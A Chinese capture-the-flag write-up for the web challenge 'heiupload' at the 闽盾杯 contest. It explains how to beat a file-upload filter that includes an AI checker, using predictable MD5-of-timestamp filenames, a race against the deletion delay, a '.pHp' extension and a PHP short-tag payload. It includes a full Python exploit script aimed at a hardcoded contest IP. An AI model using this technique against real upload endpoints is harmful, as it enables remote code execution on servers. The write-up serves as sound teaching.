闽盾杯

web

heiupload

一个文件上传题,有关键词检测和ai检测(检测危险后缀名进行删除)
尝试上传后发现除了图片后缀名之外大部分都会被ai删除,不过在网络抓包注意到ai检测大概有2秒左右的延时,判断可能需要利用条件竞争

但是上传成功的文件会被更改为md5+后缀名,所以想条件竞争必须获取md5的参数或者能够进行目录穿越
这里注意到返回值中有时间参数,尝试对时间进行md5加密,发现刚好就是文件名
而这个时间是渐渐增加的,所以可以利用返回值中的时间参数往后推一点点值,利用这个时间提前计算md5值进行条件竞争
这里用bp并行爆破,一个上传不包含会被检测为危险代码的.php文件,另一个利用提前计算好的md5值进行读取文件(当然写个脚本更好)


然后就是然后上传什么代码了,这里常见的eval,php等危险关键词都被直接过滤,利用短标签绕过php,然后利用file_get_contents读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import requests
import time
import threading
import hashlib
from datetime import datetime, timedelta

# 上传接口及请求头
UPLOAD_URL = "http://119.233.150.205:57965/upload.php"
UPLOAD_HEADERS = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "multipart/form-data; boundary=----abcdefghijklmnop"
}

# 上传 payload
PAYLOAD = "<?= print_r(file('/flag.txt'));"

def upload(filename: str):
"""
上传文件到指定 URL
"""
data = (
f"------abcdefghijklmnop\r\n"
f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n"
f"Content-Type: image/png\r\n\r\n"
f"{PAYLOAD}\r\n"
f"------abcdefghijklmnop--\r\n"
)
return requests.post(UPLOAD_URL, headers=UPLOAD_HEADERS, data=data)

def check_file(filename: str):
"""
检查上传的文件是否可以访问
"""
url = f"http://119.233.150.205:57965/uploads/{filename}"
try:
res = requests.get(url)
if res.status_code == 200:
print(res.text)
return True
except requests.RequestException:
pass
return False

def generate_md5_filenames():
"""
生成时间戳 ±2 秒的 MD5 文件名列表
"""
filenames = []
now = datetime.utcnow()
for offset in [0, -1, 1, -2, 2]:
ts = (now + timedelta(seconds=offset)).strftime("%Y%m%d%H%M%S")
filenames.append(hashlib.md5(ts.encode()).hexdigest() + ".php")
return filenames

def monitor_files(filenames, stop_event):
"""
并发监控文件是否可访问
"""
for _ in range(50):
if stop_event.is_set():
return
for f in filenames:
if stop_event.is_set():
return
if check_file(f):
stop_event.set()
return
time.sleep(0.01)

def main():
# 上传一个固定文件
upload("1.jpg")

# 生成 MD5 时间戳文件名
filenames = generate_md5_filenames()
stop_event = threading.Event()

# 并发监控文件
threads = [threading.Thread(target=monitor_files, args=(filenames, stop_event)) for _ in range(5)]
for th in threads:
th.start()

time.sleep(0.05)
# 上传带特殊扩展名的文件
upload("1.pHp")
stop_event.set() # 停止监控

for th in threads:
th.join()

if __name__ == "__main__":
main()